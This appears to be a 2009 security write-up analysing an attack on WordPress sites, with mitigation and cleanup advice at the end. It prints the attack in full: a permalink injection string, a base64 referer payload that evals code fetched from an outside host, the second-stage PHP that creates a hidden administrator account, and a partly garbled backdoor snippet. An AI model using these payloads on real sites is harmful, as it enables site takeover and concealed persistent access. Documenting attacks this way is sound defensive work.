Several sites have been hit recently (including this one) with what is apparently a new vulnerability in WordPress. The attack exploits an apparent vulnerability which allows non-administrative accounts to edit the permalink structure of the site. This is used to inject PHP code that creates an unauthorized administrative WordPress account and attempts to hide the account from the WordPress Web UI via JavaScript injection. It also injects PHP code into several PHP files on the file system and edits permalinks to contain additional code whose intent appears to be to base64 decoded and eval HTTP referer headers.
How the vulnerability works is still unclear, but it appears that the attacker must register an account in order to initiate the attack. Upon logging in, the attacker edits the permalink structure to end with:
"/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
This allows the attacker to execute PHP code via the HTTP referer header. The attacker then issues a request to xmlrpc.php with a malicious payload in the HTTP referer header:
219.75.255.131 - - [03/Sep/2009:21:29:49 -0700] "POST /xmlrpc.php HTTP/1.0" 200 394 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdDYXJyb2xXaWdnaW44Mic7JHVzZXJfcGFzcz0nQEhjJnB1VG1IJVRYJztldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vbGlua3Mud2Vid29yZHByZXNzLmNuL2RhdGEvc2hvcnRwYXJ0Mi50eHQnKSk7ZXhpdDs=" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722"
In our case, the base64 data decodes to:
$role='administrator';$user_login='CarrolWiggin82';$user_pass='@Hc&puTmH%TX';eval(file_get_contents('http://links.webwordpress.cn/data/shortpart2.txt'));exit;
The shortpart2.txt file contains the following code:
require_once(ABSPATH.'wp-includes/registration.php');global $wp_version;global $wpdb;
echo '<data>'."\n";
$users_id = $wpdb->get_results("SELECT ID FROM $wpdb->users");
foreach ($users_id as $id){
$my_user=get_userdata($id->ID);
if($my_user->wp_user_level==10){
if(strlen($my_user->user_firstname)>25) wp_delete_user($id->ID);
}
}
echo ''.get_option('siteurl').' '."\n".''.$wp_version.' '."\n".''.$user_login.' '."\n".''.$user_pass.' '."\n";
$user_id = wp_create_user($user_login,$user_pass);
$name="...\n\n\n\n\n\n\n\n\n".'<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if(n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script></div>';
update_usermeta($user_id, 'first_name', $name);$user = new WP_User($user_id);$user->set_role($role);
update_option('users_can_register',0);print '<register_status>'. get_option('users_can_register').'</register_status>'."\n";echo '</data>'."\n";
This code first deletes all administrative accounts whose first names are longer than 25 characters; this could potentially be a way for the attacker to clean up any previously created administrative accounts in the event that s/he attacks the same site twice. The attacker's name is then set to contain JavaScript code, which hides the attacker's administrative account from the WordPress Web interface, and escalates the account to administrative privileges.
Although it is still unclear when or how it happens, several other PHP files are infected with the following malicious code:
gpc_19045 function ($ l19047) (if (is_array ($ l19047)) (foreach ($ l19047 as $ l19045 => $ l19046) $ l19047 [$ l19045] = gpc_19045 ($ l19046);) elseif (is_string ($ l19047) & &
substr($l19047,0,4)=="____") substr ($ l19047, 0,4 )=="____")
{eval(base64_decode(substr($l19047,4)));$l19047=null;}return $l19047;} (eval (base64_decode (substr ($ l19047, 4 )));$ l19047 = null;) return $ l19047;)
if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_19045",$_SERVER); if (empty ($ _SERVER)) $ _SERVER = $ HTTP_SERVER_VARS; array_map ( "gpc_19045", $ _SERVER);
In our case, this code was injected into index.php and Lab/index.php, which may indicate that some automated script was run on teh sever to recursively infect index.php files with the code. There have also been reports of this code being placed into the wp-config.php file and the wp-content/uploads/pass.php file.
Since the initial code execution seems to use xmlrpc.php to execute the malicious payload, we suggest adding a single line reading "exit();" (no quotes) as the first line of PHP code in the xmlrpc.php file in order to mitigate the threat until a suitable patch is produced. Note that the actual vulnerability does not appear to be located in xmlrpc.php, so other avenues of exploitation may still exist.
The blog's permalink structure should be restored to prevent errors and possible additional exploitation. You should also clean up the above file injections and remove the attacker's administrative account. The initial user account used by the attacker should also be removed; it will likely be the last account created just before the creation of the malicious administrative account. More detailed information on cleaning up the malicious accounts can be found here.